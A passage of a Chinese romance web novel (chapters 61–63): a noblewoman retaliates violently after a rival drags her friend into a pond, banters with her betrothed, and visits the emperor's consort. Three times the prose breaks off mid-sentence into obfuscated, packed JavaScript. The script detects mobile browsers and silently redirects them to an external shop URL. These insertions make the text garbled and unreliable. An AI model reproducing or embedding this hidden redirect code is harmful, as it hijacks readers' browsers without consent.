“不敢。”崔时清捂面偷乐。 “不靠谱。”蔡梦期嗔视了她一眼,笑骂。 “不是,我都被你闹糊涂了。”崔时清又笑了一阵,摆手道,“我说的是堂兄。” “你堂兄、崔云许?”蔡梦期回忆着问道。 “对,你不是见过我堂兄吗?他性情和善,是个极好的人。” “那都多久啦?再说他也太温吞了,我这脾气哪里受得了?”蔡梦期扭捏地婉拒道。 “正是脾性不急躁,才不易与你吵嘴。”崔时清扬眉瞅着,语重心长说,“我家堂兄生得越发标致了,你且再考虑考虑?” “若能比得上你家三郎,我便嫁了!”蔡梦期浑不在意地说。 “哦?那你是嫁定了。”崔时清取笑她。 蔡梦期惊愕道:“崔时娘,为了堂兄,你居然昧心至此吗?” 崔时清眨了眨眼睛,媚笑道:“你且等着吧,看我堂兄怎么把你也迷得没了志气。” “那我还真要见一见!没迷住我,你可得悠着点我的爪子。” 蔡梦期说罢,便扑向她,闹了起来。 * 青云阁并不是沿街铺子,它地处于宅院中,原来的主人是江南客商,故而一处一景皆细腻雅致。 雅间罗布在院落各处,遍眼小桥流水、亭台水榭,私密性极好,对于世家权贵而言,制衣之余、还是个可以赏玩的去处。 但今日,在青云阁这种挥金如土的地方,崔时清和蔡梦期却花不出钱,商议过后,只得转战别处。 刚出阁子,也不知女使是如何引路的,居然让她们碰到了迎面而来的王家夫人与王思玉。 她们撇开眼视而不见,已错肩而过,王思玉却追了上来。 “你很得意是吗?” 听着唐突的质问,看着这双仇视的目光,崔时清弯唇笑了笑。 “若你问的是我过得好,那么我确实很得意;但要是说的是你过得不好,其实我没有那么在意,也就无所谓得意不得意了。” 这似乎过分了点? 蔡梦期瞪圆了眼睛,看着王思玉被气得眼圈通红,唯恐她们打起来,默默挡在中间,以身隔绝这对冤家,厌烦地挥了挥手。 “我们不想吵架,你走吧。” 吵架吗?她也想像以前一样随心所欲,但她没有机会了。 自从阿兄失踪,她和母亲便没了依靠,在家中过得越发艰难。原本她想毁掉那个庶女,没料到却把自己葬送了进去。 江相明!她堂堂尚书嫡女居然要嫁给那样的人! 她一辈子都毁了!但是所有和她作对的人,都别想好过! 王思玉一把推开蔡梦期,凶狠地盯着自己的死对头,“凭什么,你凭什么可以嫁给纪家阿兄?你这样心思恶毒的女娘,凭什么!” “怎么?你想嫁?可你也没有多善良呀!”崔时清扯了扯唇角。 王思玉眼神闪躲了一下,咬牙道:“不,我才没有觊觎纪家阿兄!这世上只有阿柔与他是天造地设的一对,是你不配!是你抢了阿柔的姻缘!” “所以你来找我,是为他们抱不平?”崔时清心底有些不舒服,面上却还是那般张扬与跋扈。 “对!没错!”王思玉想也不想便道。 “哦,好,我知道了!既然没有你的事,你现在便可以走了。”崔时清皮笑肉不笑道。 “……你!”王思玉胸脯起伏着,怒得喘不过气来。 崔时清扫了一眼她身后半人高的小池塘,保持着高度的警惕。 兔子急了也会咬人,她已经被咬过一次,可不想再来一遭。 “我做鬼也不会放过你!”王思玉徒然间面色阴沉。 “你以为成了鬼就可以做坏事了?”崔时清没好气道。 “那要如何?”王思玉直勾勾地看着她。 “滚开。” 崔时清不想与她纠缠,对着蔡梦期招了招手,让她跟着自己离开。 “我知道。”王思玉倾身看着她,弯了弯唇,“置之死地而后生。” 崔时清皱眉后退,然而意外的是,王思玉也跟着后退了几步,含笑注视着她。 不对。 “梦娘小心!” 她觉察异样,才惊声喊人,王思玉却已抱住蔡梦期,冲入了小池塘。 随着水花溅起、崔时清的世界似乎没了声音,她伸着手,双脚沉甸甸地无法动弹,眼睁睁看着蔡梦期没入水中。 “啊!有贵人落水了!” 一声刺耳的尖叫声骤然划破那道隔绝一切的屏障,崔时清重重呼吸着,看似冷静地卸去披风,跳入了池塘。 扶起蔡梦期,她看着倒在池底的罪魁祸首。 她的理智知道,王思玉在利用她们,但却依旧不能克制心中的愤怒与杀意。 攥着王思玉的衣襟,崔时清把她拉了起来,在她重获呼吸时,挥手用力扇了几巴掌,反手将其沉入池塘,看着她恐惧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二世濒死的痛苦再次席来,她踉跄地跌坐在水中,痛苦地捂着左前额。 “你怎么了?受伤了?”蔡梦期恐慌地检查着她的脑袋,好在没有看到伤口,便气愤地扫过周围的人,“都干什么吃的!还不过来帮忙!” 女使和婢子们忍着惧意,正要上前。 而收到暗卫消息的纪危舟,在听到掉入小池塘时,甚至都没来得及问全部经过,便不管不顾赶了过来。 看着崔时清面色苍白、神情呆滞地坐在池塘中,心口如刀在剜、痛得他直冒冷汗。 “纪家阿兄!快来,时娘不太对劲!”蔡梦期看着他,如同遇上了救星。 纪危舟置若罔闻,眼睛一错不错地盯着没有血色的女娘,伴着涌入鼻尖的血腥气,全身僵硬地下了池塘,在崔时清的面前蹲下了身子。 “疼吗?”纪危舟哑着声音,问道。 旧时的伤口上,温暖的指腹颤抖着抚过记忆中疼痛的地方。 崔时清怔怔然望着面前的人,缓慢地眨了一下眼睛,余光扫过他的手掌,有一丝难以言说的古怪渐渐在心底浮起。 “你——” 纪危舟的手指顿了顿,很快覆上她的后脑,检查过她的脑袋、面庞、双臂、脊背。 黑眸没有闪躲,直视着她的眼睛,沉声问:“可有受伤?” 崔时清微蹙眉头,心底的情绪变成了一团缥缈无形的薄雾,风一吹,没了行踪。 “好冷。” 她讷讷说完,便搂住纪危舟的脖子,面颊蹭了蹭他颈上的皮肤,急切地索取温暖。 纪危舟不再耽搁,抱起崔时清走出池塘,路过蔡梦期时,提醒了一声。 “你应该入宫。” 61. 酸话 来到崔时清用过的阁子中,纪危舟为她卸去湿衣,喂了姜汤,把冻得发抖的人塞在被中取暖。 神智回笼的崔时清抱着汤婆子,怔怔地望着替她拆解辫子的人。 “不问我发生什么了?” “你的身体要紧,这些都不着急。”纪危舟用巾帕擦拭着发尾。 身体暖和起来,崔时清的思绪也明晰了,回忆一遍方才的经过,淡声道:“不着急?那你还让梦娘入宫?” “事关女娘清誉,总不该坐以待毙、任人随意攀诬。”纪危舟坐到她的左侧,手也不停地忙活着。 “你就知道我们没有错了?”崔时清声线冷冷。 纪危舟顺了顺半干的发丝,用熏笼小心烘烤着,“哪怕错了,也不能由着别人拉踩。” 崔时清扯了扯唇角,“你也护短得很。” 纪危舟正色地看了她一眼,“软软是我的未婚妻子,我当然要护着。” 崔时清突然想起那个梦境,顶着纪危舟面孔的大帝、和他终生都在怀念的皇后。 以前不觉得,此刻记起梦中的日日夜夜,不痛不痒,却越发难以忍受。 她目光冷沉地望着纪危舟,止不住地猜想之前的八世,他娶了何人、是不是也会为妻子洗手作羹汤、无条件偏爱着。 “是啊,未婚妻尚且如此,真与你成婚,还不知道你会如何偏私。”崔时清语气不善道。 感受到她起伏不定的情绪,纪危舟放下熏笼,双手捧起崔时清的面颊,拇指摩挲着冰凉的皮肤,直勾勾盯着沉郁的眼眸问道。 “想什么呢?一股子醋劲?” “你这是诋毁!”崔时清气急败坏地反驳。 纪危舟强势地连人带被困在双臂间,“王思玉说了什么?” 崔时清难以启齿,又不得挣脱,便倔强地抿着唇,垂眸不看他。 纪危舟看了崔时清片刻,不再追问,躬着脊背把额头靠在她的肩上。 就这般,听着彼此的呼吸声,他们沉默地相拥着。 过了许久,崔时清撑不住气,伸出手说道:“手疼。” “怎么伤到的?” 纪危舟牵起她的双手,认真检查着,即便没有看出任何问题,但还是怜惜地捧着,放在唇边亲了又亲。 “扇巴掌扇的。”崔时清绷着小脸,继续说,“我把王思玉打了半死,摁在池底,每次断气前,又提溜出来送口气,接着沉入水中,把她折磨得没了人样。” 纪危舟认真听着,伸手抚摸着崔时清的脑袋,仿佛她才是被欺负、受了委屈的人。 斜睨着落在头上的手掌,崔时清神色狐疑地看他。 “你不觉得我恶毒?” 瞅着浑身紧绷,像是张牙舞爪准备对抗一切的狸猫,纪危舟掀唇笑了笑。 比之他后来做的那些事,这又算得了什么? 揉捏着崔时清的手,他叮嘱道:“以后有人招你烦,便让随行的护卫婢子来处理,不必亲自动手。” 崔时清眨了眨眼睛,后知后觉明白。 这一世,他是自己人,跟以前都不一样了! 望着眼前这双黑眸,无条件信赖与支持的目光,像是炽热的太阳驱散了她心底的别扭。在短暂的失神过后,崔时清敞开了心,把所有不平都倒了出来。 “我要被她气死了!” “嗯?”纪危舟轻声回应。 崔时清张开双臂,把纪危舟也拢进自己的暖被中,靠在他的身上,仰头道:“你知道王思玉要嫁入江家吗?” “不知。”纪危舟拨弄着她的耳垂,心不在焉道。 “这王八羔子估计是不想嫁又没辙,便来算计梦娘!故意拽了她落水,想要借此要挟我们翻盘呢!欺辱到我们头上,还敢做梦!嫁!必须得让她嫁了!”崔时清气得头顶冒烟,恨不得再把王思玉找出来,打死鞭尸。 纪危舟在她额间亲了一口,说:“所以软软是下水帮忙的?” “对啊!帮忙!她想死,我不得帮她早点见阎王!”崔时清说完,扶着纪危舟的手臂,便想要起身,“不行,我要看看,她到底死了没!” “她不能死在这里。” “怎么?舍不得你的王家妹妹?!” 崔时清明白纪危舟的深意,但是情绪失控是在瞬息之间而起的,即便很快克制住,那股后劲依旧使她无法心平气和,张嘴便是酸话。 让说者面红的质问脱口而出以后,后悔已然无用,她只得颓丧地垂着脑袋,自我厌弃着。 “我与她们没有关系。”纪危舟顿了一瞬,又道,“我从来没有喜欢过软软以外的女娘,她们真正想要的也不是我。” 从来没有?骗子! 崔时清没有什么表情掰弄着自己的手指,过了半晌,才状似不经意地抬眼,瞥了纪危舟一下,慢声慢气道。 “也是,你平素在外装模作样,她们看错了你,当然也不会真的喜欢你的。” 纪危舟弯了弯唇,勾缠住被扣得发红的指尖,把自己的五指嵌入她的指缝间,紧紧扣着不放。 “是,这世间只有软软懂我,也只有你喜欢我。” “我不喜欢。”崔时清低着头,用气音小声反驳。 “嗯?你说什么?”纪危舟捏了捏她的手,故意问道。 “说正事。”崔时清耳尖发红,面容严肃地睨着他,“王思玉有恃无恐,就是以为我和梦娘名声差好拿捏。既然要背恶名,我便要把这个名声做实,让她死鬼也害怕我!” “不必背负恶名。”纪危舟说。 崔时清微怔了一下,迟疑地问道:“若是你,又会怎么做?” 让她想要的皆成空、想做的全反噬,痛不欲生,永远活在懊悔中。 在清凌凌的目光下,纪危舟低头亲吻过她的指尖,说:“让青云阁道出真相。” 崔时清皱起眉心,但很快就反应过来,扬声对门外的玄鱼吩咐道:“把崔竹请来,就说我要买下青云阁,不计代价。” “……”看着小婢子急匆匆跑走,同样站在门外的青云阁掌柜和江南相视一眼。 “其实我有办法。”纪危舟企图阻止她。 “什么办法也不如我的好。”崔时清挥了挥手,看着为自己筹谋的人,心中微暖,反握住他的手,说道,“也没有送过你什么,正好买下青云阁,便给你吧。” 纪危舟的喉结滑动了一下,紧张地问:“软软想把青云阁当作我们的定情信物?” “……”崔时清懵怔地看着他,但对方的神情太过郑重,以至于她也说不出扫兴的话来,便讪讪应和,“比之华而不实的物件,铺子更实在吧?” “我最欣赏软软的实在。”纪危舟连连颔首。 “呵,你好好经营生意吧。”崔时清尴尬一笑。 纪危舟正色道:“青云阁必定会成为百年老店的。” “嗯,挺好。”崔时清敷衍了一声,仰头看着自 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纪危舟摩挲着崔时清的后颈,按住了不安分的女娘,笑吟吟道:“我最喜欢你。” 崔时清压了压上扬的唇角,在纪危舟的面上亲了一下,理所当然地道:“我可不行。说说第二、第三喜欢的!” 纪危舟张了张嘴,欲言又止。 “好吧,你不说,那便轮到我了?”崔时清狡黠地看着他。 “软软想要什么?”纪危舟问。 指尖点了点他的唇瓣,崔时清似笑非笑地开口道:“我想要、甩掉暗处窥探的小老鼠。” 迎上玩味的目光,纪危舟解释道:“他们可以保护你。” “是跟踪、控制,还是保护?”崔时清收了笑,微扬的桃花眼里没有一丝暖意。 在充满防备和敌意的注视下,纪危舟茫然无措,所有预想过的解释都变得苍白无力,最后只得干巴巴回道:“没有——” “好了。” 崔时清抚摸着这张俊朗无双的面容,猜不透他为何如此耽于情爱、又为何如此不安。 她对他还不够好吗?他还想得到什么? 崔时清喜欢纪危舟的在乎,在可以容忍的范围内,也愿意纵容他的有趣。 前提是不能妨碍她,更不能发现、那个被她偷走的人生。 “最后一次警告,把人撤走。”崔时清浅笑道。 “可是——” 她的眼神陡然冷了下来,语气冷淡地开口:“再做多余的事,你也走。” 纪危舟慌了神,也没了主见,紧紧抱着崔时清的身体,哑声道:“好,让他们走,我都听你的。” 没由来的,崔时清松了一口气。再看着失魂落魄的神色,心似是被攥了一下,有些闷滞,连呼吸都不太顺畅。 她勾着纪危舟的脖颈,娇声问道:“集贤堂如何?也买来与你?” “我什么都不要。”纪危舟磨蹭着崔时清的面颊,从湿衣间取出食指大小的雕花笛子,递到她的手中,“随身带着,遇上危险便用它。” 把她当作菟丝花? 若非天道阴险,谁还能斗得过她?! 崔时清斜乜了一眼纪危舟,倏然扑倒他,掌心抵着硬梆梆的胸膛,凶神恶煞道:“我可不是娇滴滴的女娘,有的是力气和手段!” 也不等纪危舟开口,欺身便堵上了他的嘴。 62. 清舟 汤婆子落在地毯上,发出沉闷的怦声,随之而响的还有敲门的声音。 崔时清眼睛湿漉漉的,攥着掌心的红绳,随手把竹笛挂在颈上,低头从纪危舟的身上爬下来。在他身边呆坐着,压抑心尖的热意。 女娘佩戴着竹笛红绳,秾艳昳丽和简单质朴杂糅在一起,突兀的美丽,让纪危舟的心狂乱跳动着,移不开目光。 他单手撑着脑袋,指尖划过崔时清胸前的小笛子,在瓷白的肌肤上顿了顿,嗓音暗哑地问。 “可要现在梳妆?” “那你起来呀。” 崔时清凶巴巴地斜睨了他一眼,看似随意地挽起耳边碎发,用手指悄悄压了压发烫的脸颊。 “你拉我。”纪危舟把手放在崔时清的掌心里,眼睛清澈地看着她。 “无赖。” 崔时清没好气地骂着,握紧他的手指发力。纪危舟倒也配合地坐起身来,歪头在她唇上轻啄了一下,看着无所适从的小女娘笑个不停。 崔时清:“……” 在无声的怒视下,纪危舟稍有收敛,扬唇举着篦子,做了个投降的动作便绕到崔时清身后,梳理起她的长发。 重新编好辫子,换好衣裙,崔时清紧绷着唇线推了推纪危舟。 “把崔竹叫进来。” “好啊,等等。” 纪危舟低头整理崔时清颈上的小竹笛,摆弄着整整齐齐的,直到看得满意了,又亲了她一口,才笑吟吟地下了榻。 笑什么!真是碍眼! 看着纪危舟得意的身影,崔时清扯了扯唇瓣,本想露出一个嫌弃的表情,却不受控制地上扬着。 她连忙警惕地捂住嘴巴,看着那道背影绕过围屏,直到耳边响起开门声,终于忍不住眉眼弯弯地偷笑了一下。 捻起小竹笛,看着并不精细的雕纹,正要放下却注意到了笛身刻着的‘清舟’二字。 崔时清神色微怔,眼睛连眨了好几下,低头瞅着自己的脚尖,指腹摩挲过刻字,心口温温热热的,又像是被云团包裹着浑身轻飘飘。 清舟什么的,真是傻气咧。 她轻轻放下小竹笛,按了一下,双手置于身侧,面色如常地看着围屏上的雪山红梅,心怦怦跳动着、有些吵闹。 不多时,门口传来了动静。 崔时清连忙挺着脊背,端端正正坐着。 “主子,事情已经谈妥了,只等签过契约便可至官府登记。”崔竹隔着屏风,低头禀报。 崔时清瞄了一眼屏风上身姿欣长的影子,说道:“青云阁是为你家公子买的,手续办妥后,把文书交与他即可。” 他家公子? 崔竹愣了一下,很快便了然,转身对着纪危舟作揖行礼,应声道:“是,小人必定把此事办妥。” 纪危舟笑吟吟地受了崔竹的礼,要不是时机不对,真想再进里间,好好亲亲抱抱他的女娘。 因崔时清抵触他的暗卫、对他不信任而伤的心,也在这连番安抚下,被哄得心花怒放。 不愿意让人跟着也罢,只要提前做好筹谋,便没有人可以伤得了她。至于自己心底的那一点私心,并不重要。 反正他的女娘会在其他地方把它填满的。 纪危舟看着雪山上映出的那道轮廓,连眉眼都染上了笑意。 江南目光呆滞:“……” 这都什么跟什么啊?主子的东西高价卖出去,转了转又回来了?还挣了一笔?! 眼瞅着自家主人理直气壮地收下,连个推脱都没有,脸上的笑更是没落下过。 要不是忠心在支撑着,他简直想唾弃自家主人的贪婪。 青云阁掌柜匆匆走了进来,对着纪危舟和围屏后的新东家行过礼,才道:“宫里来人了,贵妃娘娘请新东家入宫。” 新东家?她还不知道呢!江南抿着嘴巴,眼睛落在温掌柜的身上,等着看她也大吃一惊。 “请我入宫?”崔时清从里间走了出来。 “是,车马已经在门口等着了,是娘娘身边的嬷嬷亲自来接的。”温掌柜说。 纪危舟走上前,扶着她,“我陪你入宫。” 崔时清拂开他,双手置于腹前,矜持地淡声道:“宫里我比你熟,出不了什么事。” 手中落了空,纪危舟收了笑,闷闷不乐地瞅着崔时清。 “……”这是不做狐狸精,该当兔子精了?装什么委屈啦?! 崔时清无语了一瞬,眼睛扫过低头侍立的几人,借着衣袂的遮掩,掐了一把纪危舟的手臂,眼中嗔怪他的无理取闹,但嘴上到底没有再说些冷言冷语。 “这里还有一摊子事,你处理好了,正好来宫外接我。” “青云阁之事你且放心,我会处理妥当,记得等我。”纪危舟登时被哄好了,笑吟吟地抚着手臂,叮嘱道。 青云阁能有什么事?温掌柜困惑。 有什么好等的?江南也想不通。 “好,我知道了。”崔时清耐着性子又给了点甜头,看着纪危舟欢喜的模样,低头抚过衣袂上没有的褶皱,转而看向温掌柜,“王思玉呢?她如何了?” 温掌柜还没开口,提前了解过情况的纪危舟侧身挡住了她,抢话道:“她无事,被王家人接回去了。” “这都没死?这脑壳子是什么打的?如此耐磕?!”崔时清难以置信,甚至还自我怀疑地看了看自己的手,心里窜窜地涌起嫉妒的火光。 人比人、可太气人了! 纪危舟也看着她的手掌,由衷建议道:“还疼吗?以后不可再赤手空拳帮助王家人了。” 帮助谁?温掌柜迷惘地看着面前的旧主。 嘻嘻!没见过吧?还有更惊喜的呢!江南抖了抖肩膀,暗笑着。 稳如泰山的崔竹,面色严正肃穆,认为他们公子说的很有道理,作什么也不能赤手上阵,容易吃亏! 他不动声色地瞥过身边的年轻小厮,暗暗摇了摇头。 这儿郎怎跟野猴一般,没个消停的?! 崔时清瞥过其他人,唯恐纪危舟的腻歪连累她也被人取笑,坚强地藏起了双手,不再无痛呻吟。 歪着脑袋,与被纪危舟挡在身后的温掌柜对上眼,问道:“你要随我入宫,应该怎么说,不用我教了?” “崔家女娘帮扶弱小之事,奴家必定会一字不差、如实禀报贵妃娘娘。”温掌柜现学现卖。 “你——”崔时清心下有了决断。 还是不要让温掌柜在贵妃面前胡扯了,这种证词太过了,传出去怪丢人的。 她面无表情地斜乜纪危舟一眼,正要责怪他教坏掌柜,却得来一个惹眼的笑容。崔时清呼吸微窒,默默移开了视线。 “我走了。” 也不等纪危舟回应,视线落于门外的桑麻身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128532|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,顿了顿,她边走边说道:“玄鱼在此帮你公子跑腿,桑麻随我入宫。” 桑麻有些意外却没有犹豫,与玄鱼交换了一个道别的眼神,匆匆跟在温掌柜身边。 * 在纪危舟的提醒下,蔡梦期连衣裙都没换,披上大麾、一面让贴身婢子把她的母亲请来,一面马不停蹄赶往皇宫。 毕竟是贵妃的亲侄女,没有费什么劲,蔡梦期便顶着一身证据,见到了她的姑母。 贵妃蔡妙妍当即震怒,先是把在入冬之期不顾自身、穿着湿衣受冻的蔡梦期痛骂了一顿,让人送她入浴房泡浴,便亲手捧着一双还在滴水的绣鞋,冲到了贤文帝赵裕翔面前。 一双浸了水的绣鞋,勾起了贤文帝的回忆,在往昔的美好与藏在心底的愧疚下,他想也不想,便下口谕斥责礼部尚书王客林教女无方。 接连又赐下不少衣物器皿,安抚无辜受害的侄女和见义勇为的永宁县主。 因而崔时清入宫前,针对落水之事已有了定论。 毕竟谁也不能说皇帝骂错了人? 崔时清坐在贵妃绣凳上,看着身边的御赐之物,心中想。 在绝对的力量面前,阴谋诡计都是镜花水月,王思玉和她就是捞月亮的猴子,一场皆空。 不、她有收获。 崔时清弯起唇角。 既然王思玉愿意以身为饵,她便由不得此人逃脱。 “怎还看出神了?” 崔时清收回目光,望着贵妃蔡妙妍笑道:“宫造之物精美不凡,就是有夺人眼球的本事。” 染着蔻丹的纤指抚过面前的珠钗,挑选了一支雀鸟衔珠的宝钗,在崔时清发间比划一下,兴致缺缺地放下,抚弄着她发辫上的链子。 “这一匣子首饰可比不得你这发链来的有趣。” 蔡梦期窝在暖榻上,出声道:“姑母喜欢也无用,这可是纪家三郎为时娘打造的,世间独一份!” “纪家三郎?”贵妃沉吟了片刻,皱着眉扼腕道,“本宫还想让你做儿媳,没想到却让纪家近水楼台抢了先。” “殿下心有所属,才不喜欢我这样的女娘呢。”崔时清眨巴着无辜的眼睛,果断把问题抛到赵洛行身上。 “啊?谁?你怎么不与我说呀?” 蔡梦期咋咋呼呼地瞪着眼,发出一连串追问,崔时清只笑而不语。 最终还是贵妃看不过侄女这家传的急脾气,一巴掌拍在蔡梦期肩上,按着她坐下后,也不遮掩地与其分享。 “说的是陈家的。” “……陈柔欢啊?”蔡梦期的表情有一种感到意外、但又在情理中的木然。 “是啊,你表兄那傻子还特喜欢陈家女娘,与鬼迷心窍没什么区别啦。”贵妃骂完,觉得有些心冷,便把手揣进侄女的肚皮上取暖,惹得蔡梦期一阵轻嘶。 贵妃蔡妙妍的反应让崔时清有些意外,便问:“殿下这样的年岁,总算有了心仪之人,正可了却娘娘多年的夙愿,不好吗?” 贵妃的丹凤眼扫过案几上的御赐之物,淡笑道:“太过情深,便是不好。” “……”崔时清莫名听懂了贵妃的言外之意,正如她时常会觉得耽于情爱的纪危舟有些麻烦,影响她拔刀的速度。 崔时清拨弄着发辫,清脆的铃声在耳边响起,最终化作一声苦恼地低叹。 还是怪她,太招人喜欢啦。 63. 豪赌 “为何不好?” 蔡梦期正处于少女情窦初开之际,对于情爱总有几分憧憬,不懂其中深意。而比她多走几步的崔时清,实则还是门外汉,一知半解也说不出个所以然来,便作出上进好学的模样,跟着瞅向贵妃。 “情爱最忌一厢情愿,还不知收敛地全情投入。” “但也有许多一厢情愿过后日久生情的。”蔡梦期反对。 “你这是从话本子里看的?” 蔡梦期瘪了瘪嘴,轻嗔道:“姑母!” 蔡妙妍抚弄过发上华贵的珠钗,开口道:“姻亲之事,相敬如宾、举案齐眉是上等;若是掺杂了私情,彼此又是异类,想要的、追求的皆不相同,往往终会成为怨偶,愈是情深、越难收场。” 崔时清垂着眸子,无意识地拨弄着胸前的小竹笛,安静听着。 蔡梦期拧着秀气的眉毛,纠结道:“可要是找个与自己一样的人,连个新奇都无,闷都闷死了,哪里还想与他谈情说爱了?” “贪图一时新鲜,时日久了,没了新奇之感,难不成还要再换个人?”蔡妙妍戏笑道。 崔时清得到了启发,鼓着腮帮子说:“看来最好还是和适合的郎君成婚,与有趣的郎君寻欢,如此方是‘恩爱两相宜’,二者皆不耽误了!” “这——”蔡梦期觉得古怪,又说不出所以然来,还莫名有些向往,便自己把自己说服了,重重点头道,“是个好办法!” 蔡妙妍被逗得笑了起来,指着崔时清连连赞叹道:“小时娘说得确实好,只是不知纪家三郎是前者、还是后者呢?” “……”崔时清有些怔然。 情深不悔、相敬如宾,和他们都没有关系。 她和纪危舟是仇人,九世的死敌。 这一世携手共度,也是起因于她的利用和欺骗,但凡纪危舟知道真相,都会视她如异类,避之不及的。 崔时清没有开口,蔡梦期便替她答道:“时娘和纪家阿兄当然是二者皆宜的天命良缘了!” “你怎如此了解?”蔡妙妍扬眉道。 崔时清看看天,又看看蔡梦期,唯恐她因此番大话而遭来天谴。 “还不是因为集贤堂新出的话本子吗?!我仔仔细细翻看了十遍之多!对于时娘和纪家阿兄可是了如指掌呢!” 看着骄傲的蔡梦期,崔时清皮笑肉不笑道:“什么话本子?” 蔡梦期后知后觉地捂了捂嘴,在越发凌厉的注视下,心虚地耷拉着脑袋,老实交代。 “集贤堂的话本子呀,写了俊美无双小夫子和不学无术世家女日久生情、成就良缘的故事。” 崔时清指着自己,瞪着眼睛不解道:“不学无术?” 蔡梦期干笑了几声,安慰她,“是写得夸张了些,但如此一来,小夫子的爱才更显可贵呀。” “啊、原来小夫子喜欢白丁。”蔡妙妍喜道。 “姑母!您不懂!不要乱说啦!”蔡梦期气呼呼道。 崔时清掀唇露出寒白的小尖牙,“呵呵,集贤堂。”必须买下它!推倒盖茅房! “这本写得很感人!时娘要看看吗?我私藏了好几册,可以分你一本。” “不必。”崔时清冷冷道。 “为何呀?集贤堂已经售罄,好多人都在等重印,想买也买不到呢!”蔡梦期早就想和她分享,眼下说开了,恨不得立即便把人拐到家中,躲在被窝一起看。 “真是呆瓜!”蔡妙妍无奈地拍了拍侄女的脑袋。 崔时清也为蔡梦期愁得不行。连陈柔欢这样心眼多的女娘都被话本子绕得昏了头,更何况本就不聪明的手帕交。 思量过后,与贵妃商议道:“娘娘,话本子害人,还是烧了她这些玩意吧。” “说的有道理,本宫让詹嬷嬷去办。” “……时娘?姑母?”蔡梦期眨巴着眼睛,一副委屈地瞅着她们。 “这样吧,你想如何处死它们?本宫皆可依你!”蔡妙妍也眨了下眼睛。 “我附议。”崔时清勾起一边唇角。 蔡梦期哭哭啼啼道:“你们这是要剜了我的心肝啊!” “眼泪呢?”蔡妙妍看着假哭的侄女,无情地问。 “哭不出来。”蔡梦期抹了下不争气的眼睛,自暴自弃地靠在凭几上。 崔时清和贵妃蔡妙妍不由相视而笑。 “姑母不疼我了。”蔡梦期委屈巴巴地控诉。 “给你几板子够疼吗?”蔡妙妍戳了戳侄女的面颊,嫌弃道,“若非你不长脑子,被人当作软柿子来捏,本宫何至于跑一趟,惹来一通恶心。” 不知是想到什么,蔡梦期颓丧地低下了头。 在崔时清幼时的记忆中,贤文帝和贵妃没什么感情,甚至可以说是不睦,俩人一言不合便横眉冷对,还当众吵过嘴。 宫中多得是比蔡家门第更高的妃子,也不知贤文帝为何会让一再忤逆自己的女子登上贵妃之位。 之前贵妃久病不出的消息传出,她下意识的反应便是蔡妙妍终是惹怒了贤文帝,除了感慨,并没有任何意外。 作为贵妃,蔡妙妍在宫中的存在感并不高,但崔时清看着周围的陈设,也知道她过得是何日子。 无宠,却养尊处优;相互厌弃,却可以三言两语让贤文帝为其下口谕斥责重臣。 崔时清实在好奇,便试探地问道:“不知娘娘是如何劝服陛下的,我带来了证人,可要御前面圣?” “不用了。”蔡妙妍摆了摆手,对上崔时清的眼睛,顿了一下,问道,“你知道我是赵裕翔的发妻吗?” 崔时清干瞪着眼睛,默默看向了好友,后者正色地点了点头。 又一次,她觉得自己真是白活九世了!居然什么都不知道! 蔡妙妍抚摸着亲侄女的脑袋,面容平静地回忆着往昔,“那时我还是秦王妃,陪着赵裕翔安置水患中的灾民,他对着沾了泥水的绣鞋立誓,永不背弃我。” 不知是想到什么,蔡妙妍的唇边浮起淡笑,眼底却是一片荒凉。 永不背弃,却贬妻为妾。 再看着华美的宫殿,眼中的一切都变了味,崔时清总算体会到了蔡妙妍所言的恶心二字。 “这般沉闷作什么?”蔡妙妍挨个点了点垂头丧气的脑袋,托着腮、笑容明艳地说道,“最起码这双绣鞋让本宫稳坐贵妃之位,还能帮你们出气,也不亏当日所受之苦。” 这双绣鞋却给不了更多。直到权势和自由皆失,还要被困在这耻辱的金丝笼中,不得解脱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144119|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔时清抿紧了嘴唇,一股压抑的情绪堵在心口,无处宣泄。 “姑母,我知道错了。”依偎着蔡妙妍,蔡梦期认错道。 “你呀,把吃的亏都记着,莫再让人算计了,知道吗?”蔡妙妍搂抱着小女娘,叮嘱着。 “我记下了。”蔡梦期瘪着嘴巴,鼻尖发酸地应。 “小时娘?” 蔡妙妍空出一只手,崔时清愣了愣,坐到了她的身侧,由着贵妃揽着。 “世间也不全是薄幸郎,你们这样鲜嫩的年岁,不必因着这些糟污事而灰了心。” “但是谁也不会在面上刻着薄幸二字呀,知人知面不知心呢!”蔡梦期心有余悸地说。 蔡妙妍嗤笑道:“情爱之事本就是一场豪赌,输赢各凭本事,有所兴致却无入局的勇气,岂不让人平白取笑?” “输了、是什么样感觉?生气吗?”崔时清问。 “生气呀,但也没辙,谁让我运道不佳?” 蔡妙妍想了想,忍不住又笑道:“当年秦王姿容不凡,我看中的也是那张年轻的皮囊。现在变得又老又丑了,却不用我来伺候,也算是不幸中的大幸了。” 自从贤文帝迷上炼丹术,酒色丹药齐下,身体一日不如一日,脾气也愈发怪异,近身伺候还真不是什么美差。 崔时清颔首。 薄幸也不是一蹴而就的,色衰爱驰,世间男女皆如此。 看来她和纪危舟定下白首之约,还是太过年轻草率了! 